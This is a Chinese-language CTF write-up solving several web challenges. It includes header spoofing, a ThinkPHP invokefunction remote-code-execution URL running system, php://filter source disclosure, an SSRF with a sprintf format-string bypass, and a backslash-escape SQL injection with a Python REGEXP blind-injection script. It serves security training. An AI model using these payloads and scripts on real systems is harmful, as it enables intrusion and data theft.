假猪套天下第一
两种情况,admin和其他
访问一下L0g1n.php
貌似不行,根据y1ng大佬的说法
使用Client-IP或者X-Real-IP代替XFF即可。
加了这么多,不一样了
base64
flag{bb1b8527-df81-47d7-a140-60e06b032a18}
fake google
base64编码一下绕过
old-hack
exp
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
flag{d2895794-5b62-4e23-9361-b05677cfbfdb}
?Schrödinger
?文件探测
http://08de81b0-b990-4175-9108-d2f2dcaace44.node3.buuoj.cn/home.php?file=php://filter/convert.base64-encode/resource=system
system.php源码
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "";
header("Refresh:0.1;url=index.php");
die;
}
$str2 = ' Error: url invalid
~$ ';
$str3 = ' Error: damn hacker!
~$ ';
$str4 = ' Error: request method error
~$ ';
?>
var theForm = document.getElementById( 'theForm' );
new stepsForm( theForm, {
onSubmit : function( form ) {
classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
var messageEl = theForm.querySelector( '.final-message' );
form.submit();
messageEl.innerHTML = 'Ok...Let me have a check';
classie.addClass( messageEl, 'show' );
}
} );
$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';
if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3'];
$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei
";
echo $str1;
if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}
?>
system.php代码审计
需要检测的文件的url必须是http://127.0.0.1/开头,且不能包含flag关键字:
$filter1 ='/^http:\/\/127\.0\.0\.1\//i';$filter2 ='/.?f.?l.?a.?g.?/i';if(!preg_match($filter1, $url) ){die($str2);}if(preg_match($filter2, $url)) {die($str3);}
基本可以肯定,是SSRF相关的题目。
这个url会被在后面拼接上一个y1ng.txt的后缀:
$url = $_POST['q2'].".y1ng.txt";
访问的方法必须是GET或者POST开头,但是没有判断结尾
if(!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {die($str4);}
之后就会进行file_get_contents(),然后格式化输出,但是输出的是%d,也就是个整数,并不能读出来源码:
$detect = @file_get_contents($url,false);print(sprintf("$url method&content_size:$method%d", $detect));
SSRF
因为admin.php只能本地访问,现在提供了file_get_contents()函数,正好可以用它来访问admin.php,但是有2个问题:
url会被拼接上.y1ng.txt
格式化输出的是%d而不是%s
你知道目录下都有什么文件吗:随便填
输入 url: http://127.0.0.1/admin.php?A=
何种方式访问: GET%s% (后面的%用来把%d 的%转义掉)
~$ python fuck.py -u "http://127.0.0.1/admin.php?A=.y1ng.txt" -M GET%s% -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei
http://127.0.0.1/admin.php?A=.y1ng.txt method&content_size:GET
error_reporting
(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return
base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
function
Check()
{
if (isset(
$_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return
true;
else
return
false;
}
if (
$_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo
"
only 127.0.0.1 can access! You know what I mean right?
your ip address is " . $_SERVER['REMOTE_ADDR'];
}
$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);
if (isset(
$_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (
Check()){
$data = $_SESSION['secret'];
include
'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng');
if (
$decr === $cipher){
echo
WHAT_YOU_WANT;
} else {
die(
'爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>%d
简单注入
fuzz(新学习的工具)
打开之后是个登录框,先fuzz一下,可用符号:
被ban的:
大佬的思路。。。
可以发现:
单引号 双引号都被ban了
union和select都被ban了
=和like被ban了
这3个过滤最难顶,直接限制了大部分思路
SQL语句逃逸单引号
假设sql语句是这样的:
selectusername,passwordfromuserwhereusername='$u'andpassword='$p'
过滤了单引号+没有宽字节,因此构造注入基本已经不太可能,但是没法注入的话这题没法做了。回去再看fuzz结果,发现反斜线没有被ban掉,因此可以用反斜线去将单引号转义,这要就实现了SQL语句逃逸,实现SQL注入
假设输入的用户名是admin\,密码输入的是or 1#整个SQL语句变成了:
select username,password from user where username='admin\' and password='or 1#'
可以看到,由于单引号被转义,and password=这部分都成了username的一部分,or 1就逃逸出来了,因此可以从这里下手进行注入
布尔盲注
这题做了我3个多小时,大部分时间都浪费在了这个登录上面,这里确实有点坑,登录下面写着You konw ,P3rh4ps needs a girl friend,我一直以为那就是个不会变的一句话:
然后打开burp也没全屏,Repeater里直接没看这地方,登录不管怎么登录、怎么构造布尔语句都会提示”用户名错误或不存在”:
后来才知道,原来构造布尔为真时候那个P3rh4ps needs a girl friend会变,我死了
布尔盲注成功
REGEXP注入
但是,虽然能够布尔,依然不能往出注登录密码,对正则分析之后发现可以用正则表达式
另外p3师傅告诉了区分大小写,由于直接regexp匹配在3.23.4版本后是不分大小写的,要加上binary关键字,脚本:
################################# 颖奇L'Amore www.gem-love.com ## 转载请勿删除本水印 #################################import osimport requests as reqdeford2hex(string): result = '' for i in string:
result += hex(ord(i))
result = result.replace('0x','')
return '0x'+result
url = "http://123.57.144.205:2333/"string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789']
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection':'keep-alive' }
res = ''for i in range(50):
for j in string:
passwd = ord2hex('^'+res+chr(j))
# print(passwd) passwd = 'or password regexp binary {}#'.format(passwd)
data = {
'username':"admin\\",
'password':passwd
}
r = req.post(url, data=data, headers=headers)
# print(r.text) if "BJD need" in r.text:
res += chr(j)
print(res)
break
elementmaster
右键查看源代码,得到:
BJDCTF's Cute CaricatureI am the real Element Masterrr!!!!!!@颖奇L'Amore
可以看到,这个漫画图片叫mendeleev(门捷列夫),加上说的元素、118、放射性等信息,可以基本猜到这个题和化学、元素周期表等有关系。
在源代码有两行
标签,id给了神秘代码,进行HEX to String转换后得到Po.php。查一下发现,Po是放射性元素钋(Polonium),这样就和漫画基本联系起来了。因为给的是个文件名,去访问一下,发现是个点:
这时候,发现其他什么东西都没有了,于是就需要想一下:对于web题目,什么地方可以藏flag
大佬的脚本...
################################# 颖奇L'Amore www.gem-love.com ## 转载请勿删除本水印 #################################import osimport requests as req
elements = ('H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue')for symbol in elements:
link = "http://element-master.bjdctf.y1ng.vip:12309/" + symbol + ".php" response = req.get(link)
if response.status_code == 200:
print(response.text, end='')
else:
continue